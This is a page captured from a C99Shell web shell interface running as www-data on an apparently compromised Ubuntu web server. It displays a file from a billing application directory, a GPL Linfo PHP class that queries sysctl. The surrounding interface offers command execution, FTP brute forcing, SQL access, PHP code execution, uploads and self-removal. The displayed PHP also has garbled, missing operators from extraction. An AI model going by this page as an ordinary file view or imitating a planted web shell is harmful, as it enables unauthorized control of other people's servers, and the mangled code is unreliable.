!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/billing/sysinfo/lib/   drwxr-xr-x
Free 13.26 GB of 57.97 GB (22.87%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     class.OS_BSD_Common.php (3.48 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of Linfo (c) 2010 Joseph Gillotti.
 * 
 * Linfo is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 * 
 * Linfo is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 * 
 * You should have received a copy of the GNU General Public License
 * along with Linfo.  If not, see <http://www.gnu.org/licenses/>.
 * 
*/


defined('IN_INFO') or exit;


/*
 * The BSD os's are largely similar and thus draw from this class.
*/

abstract class OS_BSD_Common {
    
    
// Store these
    
protected
        
$settings,
        
$exec,
        
$error,
        
$dmesg,
        
$sysctl = array();
    
    
// Start us off
    
protected function __construct($settings) {

        
// Localize settings
        
$this->settings $settings;
        
        
// Localize error handler
        
$this->error LinfoError::Fledging();
        
        
// Exec running
        
$this->exec = new CallExt;

        
// Get dmesg
        
$this->loadDmesg();
    }
    
    
// Save dmesg
    
protected function loadDmesg() {
        
$this->dmesg getContents('/var/run/dmesg.boot');
    }

    
// Use sysctl to get something, and cache result.
    // Also allow getting multiple keys at once, in which case sysctl 
    // will only be called once instead of multiple times (assuming it doesn't break)
    
protected function getSysCTL($keys$do_return true) {

        
// Get the keys as an array, so we can treat it as an array of keys
        
$keys = (array) $keys;

        
// Store the results of which here
        
$results = array();

        
// Go through each
        
foreach ($keys as $k => $v) {
            
// unfuck evil shit, such as malicious shell injection
            
$keys[$k] = escapeshellarg($v);
            
            
// Check and see if we have any of these already. If so, use previous 
            // values and don't retrive them again
            
if (array_key_exists($v$this->sysctl)) {
                unset(
$keys[$k]);
                
$results[$v] = $this->sysctl[$v];
            }
        }

        
// Try running sysctl to get all the values together
        
try {
            
// Result of sysctl
            
$command $this->exec->exec('sysctl'implode(' '$keys));

            
// Place holder
            
$current_key false;

            
// Go through each line
            
foreach (explode("\n"$command) as $line) {

                
// If this is the beginning of one of the keys' values
                
if (preg_match('/^([a-z0-9\.\-\_]+)\s*(?:\:|=)(.+)/'$line$line_match) == 1) {
                    if (
$line_match[1] != $current_key) {
                        
$current_key $line_match[1];
                        
$results[$line_match[1]] = trim($line_match[2]);
                    }
                }

                
// If this line is a continuation of one of the keys' values
                
elseif($current_key != false) {
                    
$results[$current_key] .= "\n".trim($line);
                }
            }
        }

        
// Something broke with that sysctl call; try getting
        // all the values separately (slower)
        
catch(CallExtException $e) {

            
// Go through each
            
foreach ($keys as $v) {

                
// Try it
                
try {
                    
$results[$v] = $this->exec->exec('sysctl'$v);
                }

                
// Didn't work again... just forget it and set value to empty string
                
catch (CallExtException $e) {
                    
$results[$v] = '';
                }
            }
        }

        
// Cache these incase they're called upon again
        
$this->sysctl array_merge($results$this->sysctl);

        
// Return an array of all values retrieved, or if just one was 
        // requested, then that one as a string
        
if ($do_return)
            return 
count($results) == reset($results) : $results;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0235 ]--